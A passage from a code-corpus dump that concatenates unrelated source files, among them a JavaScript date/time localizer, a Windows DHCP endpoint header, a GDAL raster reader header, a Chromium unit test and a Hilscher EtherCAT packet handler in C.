}
// localise 'today' text
todayText() {
return userFacingText('date-localizer', 'today');
}
// localise the day of the month and optionally zero pad (01, 02)
day(day, pad) {
if (pad) {
return zeroPad(day);
}
return day;
}
// localise the month in the format of mmm (Jan, Feb etc.) or 01, 02 etc.
month(month, short) {
if (short) {
return zeroPad(month + 1);
}
return ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'][month];
}
fullMonth(month) {
return ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'][month];
}
// localise the full year in the format of yyyy
year(year) {
return year;
}
// localise a date object to return a date string of dd/mm/yyyy (or localised format)
date(date, useInbuilt) {
if (useInbuilt) {
return `${date.getFullYear()}-${zeroPad(date.getMonth() + 1)}-${zeroPad(date.getDate())}`;
}
return `${zeroPad(date.getDate())}/${zeroPad(date.getMonth() + 1)}/${date.getFullYear()}`;
}
// localise a date object to return a time string of hh:mm or hh:mm:ss (or localised format)
time(date, showSeconds) {
let timeString;
const dateToUse = preferences.applyTimezoneOffset(date, this.timezone());
timeString = `${dateToUse.getHours()}:${zeroPad(dateToUse.getMinutes())}`;
if (showSeconds) {
timeString += `:${zeroPad(dateToUse.getSeconds())}`;
}
return timeString;
}
// check if a time is a valid time (time as array of [hh, mm, ss])
checkTime(time) {
return isNumeric(time[0]) && isNumeric(time[1]) && isNumeric(time[2]);
}
// convert a localised date string back to a date object (unlocalise)
stringToDate(dateString, useInbuilt) {
let day;
let i;
let len;
let month;
let order;
let part;
let w;
let year;
let daysValid;
let monthsValid;
let yearsValid;
let split;
if (useInbuilt) {
order = ['YYYY', 'MM', 'DD'];
split = dateString.split('-');
} else {
order = this.dateOrder();
split = dateString.split('/');
}
const allValid = split.length === 3 && !split.some(e => e === '' || e === '0');
if (allValid) {
for (i = 0, len = order.length; i < len; i += 1) {
w = order[i];
part = split[i];
switch (w) {
case 'DD':
daysValid = part.length < 3 && part !== '';
day = Number(split[i]);
break;
case 'MM':
monthsValid = part.length < 3 && part !== '';
month = Number(split[i]);
break;
case 'YYYY':
yearsValid = part.length < 5 && part !== '';
year = Number(split[i]);
if (year.toString().length === 2) {
year += 2000;
}
break;
default:
}
}
if (daysValid && monthsValid && yearsValid) {
return new Date(Date.UTC(year, month - 1, day));
}
return new Date('Invalid Date');
}
return new Date('Invalid Date');
}
}
class IntlDateTimeLocalizer extends PreferencesHandler {
constructor() {
super();
this.on('localechange', () => this.setupFormatters());
this.on('timezonechange', () => this.setupFormatters());
this.setupFormatters();
}
setupFormatters() {
const locale = this.locale();
const timeZone = this.timezone();
const weekDay = new Intl.DateTimeFormat(locale, {
timeZone: 'UTC',
weekday: 'narrow',
});
const month = new Intl.DateTimeFormat(locale, {
timeZone: 'UTC',
month: 'short',
});
const fullMonth = new Intl.DateTimeFormat(locale, {
timeZone: 'UTC',
month: 'long',
});
const year = new Intl.DateTimeFormat(locale, {
timeZone: 'UTC',
year: 'numeric',
});
const date = new Intl.DateTimeFormat(locale, {
timeZone,
});
const gbDate = new Intl.DateTimeFormat('en-GB', {
timeZone,
});
const time = new Intl.DateTimeFormat(locale, {
timeZone,
hour12: false,
hour: '2-digit',
minute: '2-digit',
});
const timeWithSeconds = new Intl.DateTimeFormat(locale, {
timeZone,
hour12: false,
hour: '2-digit',
minute: '2-digit',
second: '2-digit',
});
const dateOrderYear = '2019';
const dateOrderMonth = '05';
const dateOrderDay = '08';
function getDateOrder(dateString) {
const yearIndex = dateString.indexOf(dateOrderYear);
const monthIndex = dateString.indexOf(dateOrderMonth);
const dayIndex = dateString.indexOf(dateOrderDay);
let result = [];
for (let i = 0; i < dateString.length; i += 1) {
switch (i) {
case yearIndex:
result.push('YYYY');
break;
case monthIndex:
result.push('MM');
break;
case dayIndex:
result.push('DD');
break;
default:
}
}
if (result.length === 0) {
result = ['DD', 'MM', 'YYYY'];
}
return result;
}
const dateOrder = getDateOrder(date
.format(new Date(Date.UTC(dateOrderYear, dateOrderMonth - 1, dateOrderDay, 12))));
// 2019-05-19 is a Sunday
const weekDays = range(7).map((_, i) => weekDay
.format(new Date(Date.UTC(2019, 4, 19 + this.weekStart() + i, 12))));
const months = range(12).map((_, i) => month.format(new Date(Date.UTC(2019, i, 1))));
const fullMonths = range(12).map((_, i) => fullMonth.format(new Date(Date.UTC(2019, i, 1))));
this._.formatters = {
year,
date,
time,
timeWithSeconds,
gbDate,
};
this._.constants = {
weekDays,
months,
fullMonths,
dateOrder,
};
return this;
}
// get the display order for the date so dates can be displayed correctly when localised
dateOrder() {
return this._.constants.dateOrder;
}
// get the day the week starts on, 0 for sunday, 1 for monday etc.
weekStart() {
return 1;
}
// localise the days of the week and return as array of 2 char days ('Su', 'Mo' etc.)
weekDays() {
return this._.constants.weekDays;
}
// localise 'today' text
todayText() {
return userFacingText('date-localizer', 'today');
}
// localise the day of the month and optionally zero pad (01, 02)
day(day, pad) {
if (pad) {
return zeroPad(day);
}
return day;
}
// localise the month in the format of mmm (Jan, Feb etc.) or 01, 02 etc.
month(month, numeric) {
if (numeric) {
return zeroPad(month + 1);
}
return this._.constants.months[month];
}
fullMonth(month) {
return this._.constants.fullMonths[month];
}
// localise the full year in the format of yyyy
year(year) {
return this._.formatters.year.format(new Date(Date.UTC(year, 0, 1, 12)));
}
date(date, useInbuilt) {
if (useInbuilt) {
const [
{ value: day },,
{ value: month },,
{ value: year },
] = this._.formatters.gbDate.formatToParts(date);
return `${year}-${month}-${day}`;
}
return this._.formatters.date.format(date);
}
// localise a date object to return a time string of hh:mm or hh:mm:ss (or localised format)
time(date, showSeconds) {
if (showSeconds) {
return this._.formatters.timeWithSeconds.format(date);
}
return this._.formatters.time.format(date);
}
checkTime(time) {
return isNumeric(time[0]) && isNumeric(time[1]) && isNumeric(time[2]);
}
// convert a localised date string back to a date object (unlocalise)
stringToDate(dateString, useInbuilt) {
let daysValid;
let monthsValid;
let yearsValid;
let year;
let month;
let day;
let order;
let split;
if (useInbuilt) {
order = ['YYYY', 'MM', 'DD'];
split = dateString.split('-');
} else {
order = this.dateOrder();
split = dateString.split('/');
}
const allValid = split.length === 3 && !split.some(e => e === '' || e === '0');
if (allValid) {
for (let i = 0, len = order.length; i < len; i += 1) {
const w = order[i];
const part = split[i];
switch (w) {
case 'DD':
daysValid = part.length < 3 && part !== '';
day = Number(split[i]);
break;
case 'MM':
monthsValid = part.length < 3 && part !== '';
month = Number(split[i]);
break;
case 'YYYY':
yearsValid = part.length < 5 && part !== '';
year = Number(split[i]);
if (year.toString().length === 2) {
year += 2000;
}
break;
default:
}
}
if (daysValid && monthsValid && yearsValid) {
return new Date(Date.UTC(year, month - 1, day));
}
return new Date('Invalid Date');
}
return new Date('Invalid Date');
}
}
class DateTimeLocalizerMoment extends PreferencesHandler {
dateOrder() {
const date = moment({
year: 2003,
month: 11,
day: 22,
}).locale(this.locale());
const dateCheck = date.format('L');
const yearIndex = dateCheck.indexOf(date.format('YYYY'));
const monthIndex = dateCheck.indexOf(date.format('MM'));
const dayIndex = dateCheck.indexOf(date.format('DD'));
let result = [];
for (let i = 0; i < dateCheck.length; i += 1) {
switch (i) {
case yearIndex:
result.push('YYYY');
break;
case monthIndex:
result.push('MM');
break;
case dayIndex:
result.push('DD');
break;
default:
}
}
if (result.length === 0) {
result = ['DD', 'MM', 'YYYY'];
}
return result;
}
weekStart() {
return moment().locale(this.locale()).weekday(0).toDate()
.getDay();
}
weekDays() {
const dayDate = moment().weekday(0);
dayDate.locale(this.locale());
const dayNames = [dayDate.format('dd')];
for (let i = 0; i < 6; i += 1) {
dayNames.push(dayDate.add(1, 'd').format('dd'));
}
return dayNames;
}
todayText() {
const today = moment({
hour: 12,
minute: 0,
second: 0,
}).locale(this.locale());
const tomorrow = today.clone().add(1, 'day');
const todayArr = today.calendar().split('').reverse();
const tomorrowArr = tomorrow.calendar().split('').reverse();
let i;
for (i = 0; i < todayArr.length; i += 1) {
if (todayArr[i] !== tomorrowArr[i]) {
break;
}
}
todayArr.splice(0, i);
return todayArr.reverse().join('');
}
day(day, pad) {
return moment({
day,
month: 0,
}).locale(this.locale()).format(pad ? 'DD' : 'D');
}
month(month, short) {
return moment({
month,
}).locale(this.locale()).format(short ? 'MM' : 'MMM');
}
fullMonth(month) {
return moment({
month,
}).locale(this.locale()).format('MMMM');
}
year(year) {
return moment({
year,
}).locale(this.locale()).format('YYYY');
}
decade(start, end) {
return `${this.year(start)} - ${this.year(end)}`;
}
date(date) {
return moment(date).locale(this.locale()).format('L');
}
time(date, showSeconds) {
const dateToUse = preferences.applyTimezoneOffset(date, this.timezone());
const format = showSeconds ? 'H:mm:ss' : 'H:mm';
return moment(dateToUse).locale(this.locale()).format(format);
}
checkTime(time) {
return moment({
hours: time[0],
minutes: time[1],
seconds: time[2],
}).locale(this.locale()).isValid();
}
stringToDate(dateString) {
let daysValid;
let monthsValid;
let yearsValid;
let fmt = '';
const order = this.dateOrder();
const split = dateString.split('/');
const allValid = split.length === 3 && !split.some(e => e === '' || e === '0');
if (allValid) {
for (let i = 0, len = order.length; i < len; i += 1) {
const w = order[i];
const part = split[i];
switch (w) {
case 'DD':
daysValid = part.length < 3 && part !== '';
fmt += 'DD';
break;
case 'MM':
monthsValid = part.length < 3 && part !== '';
fmt += 'MM';
break;
case 'YYYY':
yearsValid = part.length < 5 && part !== '';
fmt += 'YYYY';
break;
default:
}
}
if (daysValid && monthsValid && yearsValid) {
return moment(dateString, fmt, this.locale()).toDate();
}
return new Date('Invalid Date');
}
return new Date('Invalid Date');
}
}
// XXX: [2.0.0] this doesn't need to be a function
function dateTimeLocalizer() {
if (typeof moment !== 'undefined' && moment !== null) {
return new DateTimeLocalizerMoment();
}
return new DateTimeLocalizer();
}
export {
dateTimeLocalizer,
DateTimeLocalizer,
IntlDateTimeLocalizer,
DateTimeLocalizerMoment,
};
|
pikislabis/wizz-vis | app/serializers/api/v1/widget_multiserie_serializer.rb | class Api::V1::WidgetMultiserieSerializer < Api::V1::WidgetSerializer
end
|
npocmaka/Windows-Server-2003 | net/dhcp/server/server/endpoint.h | <reponame>npocmaka/Windows-Server-2003
/*++
Copyright (C) 1998 Microsoft Corporation
Module Name:
endpoint.h
Abstract:
endpoint structure.
Environment:
NT5 DHCP Server.
--*/
#ifndef ENDPOINT_H_INCLUDED
#define ENDPOINT_H_INCLUDED
typedef struct _ENDPOINT {
ENDPOINT_ENTRY IpTblEndPoint;
SOCKET Socket;
SOCKET RogueDetectSocket;
SOCKET MadcapSocket;
ULONG Flags;
} ENDPOINT, *PENDPOINT;
#define ENDPOINT_FLAG_BOUND 0x1
#define ENDPOINT_FLAG_MADCAP 0x2
#define SET_ENDPOINT_BOUND( _endpoint ) ( (_endpoint)->Flags |= ENDPOINT_FLAG_BOUND )
#define SET_ENDPOINT_UNBOUND( _endpoint ) ( (_endpoint)->Flags &= ~ENDPOINT_FLAG_BOUND )
#define IS_ENDPOINT_BOUND( _endpoint ) ( (_endpoint)->Flags & ENDPOINT_FLAG_BOUND )
#define SET_ENDPOINT_MADCAP( _endpoint ) ( (_endpoint)->Flags |= ENDPOINT_FLAG_MADCAP )
#define SET_ENDPOINT_DHCP( _endpoint ) ( (_endpoint)->Flags &= ~ENDPOINT_FLAG_MADCAP )
#define IS_ENDPOINT_MADCAP( _endpoint ) ( (_endpoint)->Flags & ENDPOINT_FLAG_MADCAP )
DWORD
InitializeEndPoints(
VOID
);
VOID
CleanupEndPoints(
VOID
);
VOID
DhcpUpdateEndpointBindings(
VOID
);
ULONG
DhcpSetBindingInfo(
IN LPDHCP_BIND_ELEMENT_ARRAY BindInfo
);
ULONG
DhcpGetBindingInfo(
OUT LPDHCP_BIND_ELEMENT_ARRAY *BindInfo
);
#endif ENDPOINT_H_INCLUDED
//
// end of file.
//
|
moja-global/flint | Source/moja.modules.gdal/include/moja/modules/gdal/rasterreadergdal.h | #pragma once
#include "moja/datarepository/rasterreaderinterface.h"
#include "moja/modules/gdal/_modules.gdal_exports.h"
namespace moja {
namespace flint {
class SpatialLocationInfo;
} // namespace flint
namespace modules {
namespace gdal {
class GDAL_API MetaDataRasterReaderGDAL : public datarepository::MetaDataRasterReaderInterface {
public:
MetaDataRasterReaderGDAL(const std::string& path, const std::string& prefix, const DynamicObject& settings);
~MetaDataRasterReaderGDAL() override = default;
DynamicObject readMetaData() const override;
private:
std::string _path;
std::string _prefix;
bool _metaDataRequired;
};
class GDAL_API TileRasterReaderGDAL : public datarepository::TileRasterReaderInterface {
public:
TileRasterReaderGDAL(const std::string& path, const Point& origin, const std::string& prefix,
const datarepository::TileBlockCellIndexer& indexer, const DynamicObject& settings);
~TileRasterReaderGDAL() override;
void readBlockData(const datarepository::BlockIdx& blkIdx, std::vector<Int8>* block) const override;
void readBlockData(const datarepository::BlockIdx& blkIdx, std::vector<UInt8>* block) const override;
void readBlockData(const datarepository::BlockIdx& blkIdx, std::vector<Int16>* block) const override;
void readBlockData(const datarepository::BlockIdx& blkIdx, std::vector<UInt16>* block) const override;
void readBlockData(const datarepository::BlockIdx& blkIdx, std::vector<Int32>* block) const override;
void readBlockData(const datarepository::BlockIdx& blkIdx, std::vector<UInt32>* block) const override;
void readBlockData(const datarepository::BlockIdx& blkIdx, std::vector<Int64>* block) const override;
void readBlockData(const datarepository::BlockIdx& blkIdx, std::vector<UInt64>* block) const override;
void readBlockData(const datarepository::BlockIdx& blkIdx, std::vector<float>* block) const override;
void readBlockData(const datarepository::BlockIdx& blkIdx, std::vector<double>* block) const override;
private:
void readBlockData(const datarepository::BlockIdx& blkIdx, char* block_data, size_t block_size) const;
std::string _path;
std::string _prefix;
std::string _variable;
std::string _runId;
};
class GDAL_API RasterReaderFactoryGDAL : public moja::datarepository::RasterReaderFactoryInterface {
public:
RasterReaderFactoryGDAL() = default;
bool hasMetaDataReader() const override { return true; }
bool hasTileRasterReader() const override { return true; }
bool hasStackRasterReader() const override { return false; }
std::unique_ptr<datarepository::MetaDataRasterReaderInterface> getMetaDataRasterReader(
const std::string& path, const std::string& prefix, const DynamicObject& settings) const override {
return std::make_unique<MetaDataRasterReaderGDAL>(path, prefix, settings);
}
std::unique_ptr<datarepository::TileRasterReaderInterface> getTileRasterReader(
const std::string& path, const Point& origin, const std::string& prefix,
const datarepository::TileBlockCellIndexer& indexer, const DynamicObject& settings) const override {
return std::make_unique<TileRasterReaderGDAL>(path, origin, prefix, indexer, settings);
}
std::unique_ptr<datarepository::StackRasterReaderInterface> getStackRasterReader(
const std::string& path, const Point& origin, const std::string& prefix,
const datarepository::TileBlockCellIndexer& indexer, const DynamicObject& settings) const override {
return nullptr;
}
std::string _variable;
};
} // namespace gdal
} // namespace modules
} |
zealoussnow/chromium | tools/mac/power/power_sampler/sampling_controller_unittest.cc | // Copyright 2021 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "tools/mac/power/power_sampler/sampling_controller.h"
#include "base/test/task_environment.h"
#include "base/time/time.h"
#include "testing/gmock/include/gmock/gmock.h"
#include "testing/gtest/include/gtest/gtest.h"
#include "tools/mac/power/power_sampler/monitor.h"
#include "tools/mac/power/power_sampler/sampler.h"
namespace power_sampler {
namespace {
using testing::_;
using testing::DoAll;
using testing::ElementsAre;
using testing::Return;
using testing::SaveArg;
using testing::StrictMock;
class TestSampler : public Sampler {
public:
explicit TestSampler(const char* name, double sample = 0.0)
: name_(name), sample_(sample) {}
std::string GetName() override { return name_; }
DatumNameUnits GetDatumNameUnits() override {
DatumNameUnits datum_name_units;
datum_name_units.insert(std::make_pair(name_, name_));
return datum_name_units;
}
Sample GetSample(base::TimeTicks sample_time) override {
Sample sample;
sample.emplace(name_, sample_);
return sample;
}
private:
const std::string name_;
const double sample_;
};
class LenientMockMonitor : public Monitor {
public:
LenientMockMonitor() = default;
~LenientMockMonitor() = default;
MOCK_METHOD(void,
OnStartSession,
((const base::flat_map<DataColumnKey, std::string>&)));
MOCK_METHOD(bool,
OnSample,
(base::TimeTicks sample_time, const DataRow& data_row));
MOCK_METHOD(void, OnEndSession, ());
};
using MockMonitor = StrictMock<LenientMockMonitor>;
} // namespace
TEST(SamplingControllerTest, AddSampler) {
SamplingController controller;
EXPECT_TRUE(controller.AddSampler(std::make_unique<TestSampler>("foo")));
EXPECT_TRUE(controller.AddSampler(std::make_unique<TestSampler>("bar")));
EXPECT_FALSE(controller.AddSampler(std::make_unique<TestSampler>("bar")));
}
TEST(SamplingControllerTest, CallsSamplersAndMonitors) {
base::test::SingleThreadTaskEnvironment task_environment{
base::test::TaskEnvironment::TimeSource::MOCK_TIME};
SamplingController controller;
EXPECT_TRUE(controller.AddSampler(std::make_unique<TestSampler>("foo", 1.0)));
EXPECT_TRUE(controller.AddSampler(std::make_unique<TestSampler>("bar", 2.0)));
controller.StartSession();
// No monitors to end the session.
EXPECT_FALSE(controller.OnSamplingEvent());
controller.EndSession();
auto mock_monitor = std::make_unique<MockMonitor>();
MockMonitor* monitor = mock_monitor.get();
controller.AddMonitor(std::move(mock_monitor));
EXPECT_CALL(*monitor, OnStartSession(_));
controller.StartSession();
base::TimeTicks first_now = base::TimeTicks::Now();
DataRow last_seen_data_row;
EXPECT_CALL(*monitor, OnSample(first_now, _))
.WillOnce(DoAll(SaveArg<1>(&last_seen_data_row), Return(false)));
EXPECT_FALSE(controller.OnSamplingEvent());
EXPECT_THAT(last_seen_data_row,
ElementsAre(std::make_pair(DataColumnKey{"bar", "bar"}, 2.0),
std::make_pair(DataColumnKey{"foo", "foo"}, 1.0)));
last_seen_data_row.clear();
task_environment.FastForwardBy(base::Milliseconds(1500));
base::TimeTicks second_now = base::TimeTicks::Now();
// Terminate the sampling session on the next sample.
EXPECT_CALL(*monitor, OnSample(second_now, _))
.WillOnce(DoAll(SaveArg<1>(&last_seen_data_row), Return(true)));
EXPECT_TRUE(controller.OnSamplingEvent());
// We still expect the same samples.
EXPECT_THAT(last_seen_data_row,
ElementsAre(std::make_pair(DataColumnKey{"bar", "bar"}, 2.0),
std::make_pair(DataColumnKey{"foo", "foo"}, 1.0)));
EXPECT_CALL(*monitor, OnEndSession());
controller.EndSession();
}
} // namespace power_sampler
|
oonsamyi/flow | tests/ensure_parsed_no_saved_state/A.js | <reponame>oonsamyi/flow<filename>tests/ensure_parsed_no_saved_state/A.js<gh_stars>1000+
export var foo: string;
|
HilscherAutomation/netPI-netx-programming-examples | examples/sources/PacketHandlerECS.c | <reponame>HilscherAutomation/netPI-netx-programming-examples
/**************************************************************************************
Exclusion of Liability for this demo software:
The following software is intended for and must only be used for reference and in an
evaluation laboratory environment. It is provided without charge and is subject to
alterations. There is no warranty for the software, to the extent permitted by
applicable law. Except when otherwise stated in writing the copyright holders and/or
other parties provide the software "as is" without warranty of any kind, either
expressed or implied.
Please refer to the Agreement in README_DISCLAIMER.txt, provided together with this file!
By installing or otherwise using the software, you accept the terms of this Agreement.
If you do not agree to the terms of this Agreement, then do not install or use the
Software!
**************************************************************************************/
/**************************************************************************************
Copyright (c) Hilscher Gesellschaft fuer Systemautomation mbH. All Rights Reserved.
***************************************************************************************
$Id: PacketHandlerECS.c 2305 2016-11-23 13:05:55Z Jin $:
Description:
Protocol PacketHandler
Changes:
Date Description
-----------------------------------------------------------------------------------
2017-07-25 AB Implement RCX_UNREGISTER_APP_CNF packet
2016-11-23 initial version
**************************************************************************************/
/*****************************************************************************/
/*! \file PacketHandlerECS.c
* Protocol PacketHandler */
/*****************************************************************************/
#include "SystemPackets.h"
#include "EcsV4_Public.h"
#include "App.h"
#include <stdio.h>
#include <string.h>
#define ECS_PRODUCTCODE_NXEB51_FEATURES 0x00000038
#define ECS_SECONDARY_VENDORID_HILSCHER 0xE0000044
#define ECS_REVISIONNUMBER_CIFXMODIFIERMASK 0x80000000
#define DEV_STR_NXEB51_CERT "7762.000"
/*******************************************************************************
* _
* ____ ____ ____ _ _ ____ ___| |_ ___
* / ___) _ ) _ | | | |/ _ )/___) _) /___)
* | | ( (/ / | | | |_| ( (/ /|___ | |__|___ |
* |_| \____)_|| |\____|\____|___/ \___|___/
* |_|
* http://www.network-science.de/ascii/ font stop
******************************************************************************/
static uint32_t EcatSetConfigReq(APP_DATA_T *ptAppData, CIFX_PACKET *ptPkt, uint32_t ulId)
{
uint32_t lRet = RCX_S_OK;
ECAT_SET_CONFIG_REQ_T* ptConfigReq = (ECAT_SET_CONFIG_REQ_T*)ptPkt;
ECAT_SET_CONFIG_DEVICEINFO_T* ptDevInfo;
memset(ptConfigReq, 0, sizeof(*ptConfigReq));
ptConfigReq->tHead.ulDest = LOCAL_CHANNEL;
ptConfigReq->tHead.ulSrc = 0x00;
ptConfigReq->tHead.ulLen = sizeof(ptConfigReq->tData);
ptConfigReq->tHead.ulCmd = ECAT_SET_CONFIG_REQ;
ptConfigReq->tHead.ulSta = 0;
ptConfigReq->tHead.ulExt = 0;
ptConfigReq->tData.tBasicCfg.ulSystemFlags = ECAT_SET_CONFIG_SYSTEMFLAGS_APP_CONTROLLED;
ptConfigReq->tData.tBasicCfg.ulWatchdogTime = 2000;
ptConfigReq->tData.tBasicCfg.ulVendorId = ECS_SECONDARY_VENDORID_HILSCHER; /** Creates Vendor ID in Sii Image in accordance to ESI file */
ptConfigReq->tData.tBasicCfg.ulProductCode = ECS_PRODUCTCODE_NXEB51_FEATURES; /** Creates Product Code in Sii Image in accordance to ESI file */
ptConfigReq->tData.tBasicCfg.ulRevisionNumber = 1; /** Creates Revision Number in in Sii Image accordance to ESI file: increments with every released change of ESI file */
ptConfigReq->tData.tBasicCfg.ulSerialNumber = 0x12345678; /** can be any number */
ptConfigReq->tData.tBasicCfg.ulProcessDataOutputSize = sizeof(APP_OUTPUT_DATA_T); /**< Process Data Output Size from master view */
ptConfigReq->tData.tBasicCfg.ulProcessDataInputSize = sizeof(APP_INPUT_DATA_T); /**< Process Data Input Size from master view */
/** ECAT_SET_CONFIG_DEVICEINFO configuration ***************************************/
ptConfigReq->tData.tBasicCfg.ulComponentInitialization |= ECAT_SET_CONFIG_DEVICEINFO;
ptDevInfo = &ptConfigReq->tData.tComponentsCfg.tDeviceInfoCfg;
strncpy( ptDevInfo->szOrderIdx, DEV_STR_NXEB51_CERT, sizeof(ptDevInfo->szOrderIdx) );
ptDevInfo->bOrderIdxLength = strlen( ptDevInfo->szOrderIdx );
strncpy( ptDevInfo->szNameIdx, "NXEB 51-CERT", sizeof(ptDevInfo->szNameIdx) );
ptDevInfo->bNameIdxLength = strlen( ptDevInfo->szNameIdx );
lRet = Pkt_SendPacket(ptAppData->hChannel[0], (CIFX_PACKET*)ptConfigReq, ulId, TX_TIMEOUT);
return lRet;
}
/*******************************************************************************
* ___ _ _
* / __|_) _ (_)
* ____ ___ ____ | |__ _ ____ ____ ____| |_ _ ___ ____ ___
* / ___) _ \| _ \| __) |/ ___) \ / _ | _)| |/ _ \| _ \ /___)
* ( (__| |_| | | | | | | | | | | | ( ( | | |__| | |_| | | | |___ |
* \____)___/|_| |_|_| |_|_| |_|_|_|\_||_|\___)_|\___/|_| |_(___/
*
* http://www.network-science.de/ascii/ font stop
******************************************************************************/
/*******************************************************************************
* _ _ _ _
* (_) | (_) _ (_)
* _ ____ _ | |_ ____ ____| |_ _ ___ ____ ___
* | | _ \ / || | |/ ___) _ | _)| |/ _ \| _ \ /___)
* | | | | ( (_| | ( (__( ( | | |__| | |_| | | | |___ |
* |_|_| |_|\____|_|\____)_||_|\___)_|\___/|_| |_(___/
*
* http://www.network-science.de/ascii/ font stop
******************************************************************************/
/*****************************************************************************/
/** Sends first packet to begin startup sequence.
further packets are sent in Protocol_PacketHandler() if response came in */
/*****************************************************************************/
uint32_t Protocol_SendFirstPacket(APP_DATA_T *ptAppData)
{
uint32_t lRet = RCX_S_OK;
uint8_t abMacAddr[6] = { 0x00, 0x02, 0xA2, 0x2F, 0x90, 0x58 };
lRet = Sys_SetMacAddressReq(ptAppData->hChannel[0], &ptAppData->tPkt, ptAppData->ulSendPktCnt++, &abMacAddr[0]);
return lRet;
}
/*******************************************************************/
uint32_t Protocol_SendLastPacket(APP_DATA_T *ptAppData)
{
uint32_t lRet=RCX_S_OK;
lRet = Sys_EmptyPacketReq(ptAppData->hChannel[0],
&ptAppData->tPkt,
ptAppData->ulSendPktCnt++,
RCX_UNREGISTER_APP_REQ);
return lRet;
}
/******************************************************************************/
/** Handles every incoming response and indication.
Startup sequence is finished if RCX_START_STOP_COMM_CNF came in. */
/******************************************************************************/
uint32_t Protocol_PacketHandler( APP_DATA_T *ptAppData )
{
int32_t lRet = CIFX_NO_ERROR;
lRet = Pkt_ReceivePacket(ptAppData->hChannel[0],&ptAppData->tPkt,0);
if( CIFX_NO_ERROR == lRet )
{
switch( ptAppData->tPkt.tHeader.ulCmd )
{
case RCX_SET_MAC_ADDR_CNF:
lRet = Sys_SetMacAddressCnf(&ptAppData->tPkt);
/* ignore lRet, because cifX card will throw an error. It can be ignored,
* because EtherCAT does not need a MAC address */
lRet = Sys_EmptyPacketReq(ptAppData->hChannel[0],
&ptAppData->tPkt,
ptAppData->ulSendPktCnt++,
RCX_REGISTER_APP_REQ);
break;
case RCX_REGISTER_APP_CNF:
lRet = Sys_RegisterAppCnf( &ptAppData->tPkt );
if(CIFX_NO_ERROR == lRet)
{
lRet = EcatSetConfigReq(ptAppData,
&ptAppData->tPkt,
ptAppData->ulSendPktCnt++);
}
break;
case RCX_UNREGISTER_APP_CNF:
lRet = ptAppData->tPkt.tHeader.ulState;
if(CIFX_NO_ERROR == lRet)
{
Sys_StartStopCommReq(ptAppData->hChannel[0],
&ptAppData->tPkt,
ptAppData->ulSendPktCnt++,
2);
}
break;
case ECAT_SET_CONFIG_CNF:
lRet = ptAppData->tPkt.tHeader.ulState;
if(CIFX_NO_ERROR == lRet)
{
lRet = Sys_EmptyPacketReq(ptAppData->hChannel[0],
&ptAppData->tPkt,
ptAppData->ulSendPktCnt++,
RCX_CHANNEL_INIT_REQ);
}
break;
case RCX_CHANNEL_INIT_CNF:
lRet = ptAppData->tPkt.tHeader.ulState;
if(CIFX_NO_ERROR == lRet)
{
lRet = Sys_StartStopCommReq(ptAppData->hChannel[0],
&ptAppData->tPkt,
ptAppData->ulSendPktCnt++,
true);
}
break;
case RCX_START_STOP_COMM_CNF:
lRet = ptAppData->tPkt.tHeader.ulState;
if(ptAppData->fRunning == false)
{
ptAppData->fRunning = true;
}
else
{
ptAppData->fRunning = false;
}
break;
case RCX_FIRMWARE_IDENTIFY_CNF:
lRet = Sys_FirmwareIdentifyCnf(&ptAppData->tPkt);
break;
case RCX_HW_HARDWARE_INFO_CNF:
lRet = Sys_HardwareInfoCnf(&ptAppData->tPkt);
break;
case RCX_LINK_STATUS_CHANGE_IND:
lRet = Sys_LinkStatusChangeInd(ptAppData->hChannel[0], &ptAppData->tPkt);
break;
case ECAT_ESM_ALSTATUS_CHANGED_IND:
ptAppData->tPkt.tHeader.ulLen = sizeof(ECAT_ESM_ALSTATUS_CHANGED_RES_T) - sizeof(TLR_PACKET_HEADER_T);
lRet = Pkt_ReturnPacket(ptAppData->hChannel[0], &ptAppData->tPkt, TX_TIMEOUT);
break;
default:
if( (ptAppData->tPkt.tHeader.ulCmd & 0x1) == 0 ) /* received an indication*/
{
ptAppData->tPkt.tHeader.ulLen = 0;
ptAppData->tPkt.tHeader.ulState = RCX_E_UNKNOWN_COMMAND;
lRet = Pkt_ReturnPacket(ptAppData->hChannel[0], &ptAppData->tPkt, TX_TIMEOUT);
}
else{ /* received a confirmation */
#ifndef DEMO_QUIET
printf("warning: unhandled confirmation packet: 0x%08x\r\n", (unsigned int)ptAppData->tPkt.tHeader.ulCmd);
#endif
}
break;
} /*switch*/
} /* CIFX_NO_ERROR xChannelGetPacket */
else if( CIFX_DEV_GET_NO_PACKET == lRet )
{
lRet = CIFX_NO_ERROR;
}
return lRet;
}
|
aliakseis/FVD | src/3rdparty/pythonqt/generated_cpp_54/com_trolltech_qt_multimedia/com_trolltech_qt_multimedia1.cpp | <filename>src/3rdparty/pythonqt/generated_cpp_54/com_trolltech_qt_multimedia/com_trolltech_qt_multimedia1.cpp
#include "com_trolltech_qt_multimedia1.h"
#include <PythonQtConversion.h>
#include <PythonQtMethodInfo.h>
#include <PythonQtSignalReceiver.h>
#include <QVariant>
#include <qabstractvideobuffer.h>
#include <qaction.h>
#include <qbackingstore.h>
#include <qbitmap.h>
#include <qbytearray.h>
#include <qcoreevent.h>
#include <qcursor.h>
#include <qevent.h>
#include <qfont.h>
#include <qgraphicseffect.h>
#include <qgraphicsproxywidget.h>
#include <qicon.h>
#include <qimage.h>
#include <qkeysequence.h>
#include <qlayout.h>
#include <qlist.h>
#include <qlocale.h>
#include <qmargins.h>
#include <qmediacontrol.h>
#include <qmediaencodersettings.h>
#include <qmediaobject.h>
#include <qmediarecorder.h>
#include <qmediaservice.h>
#include <qmediatimerange.h>
#include <qmetaobject.h>
#include <qobject.h>
#include <qpaintdevice.h>
#include <qpaintengine.h>
#include <qpainter.h>
#include <qpair.h>
#include <qpalette.h>
#include <qpixmap.h>
#include <qpoint.h>
#include <qradiodata.h>
#include <qradiotuner.h>
#include <qrect.h>
#include <qregion.h>
#include <qsize.h>
#include <qsizepolicy.h>
#include <qsoundeffect.h>
#include <qstringlist.h>
#include <qstyle.h>
#include <qurl.h>
#include <qvideoframe.h>
#include <qvideosurfaceformat.h>
#include <qwidget.h>
#include <qwindow.h>
PythonQtShell_QMediaService::~PythonQtShell_QMediaService() {
PythonQtPrivate* priv = PythonQt::priv();
if (priv) { priv->shellClassDeleted(this); }
}
void PythonQtShell_QMediaService::childEvent(QChildEvent* arg__1)
{
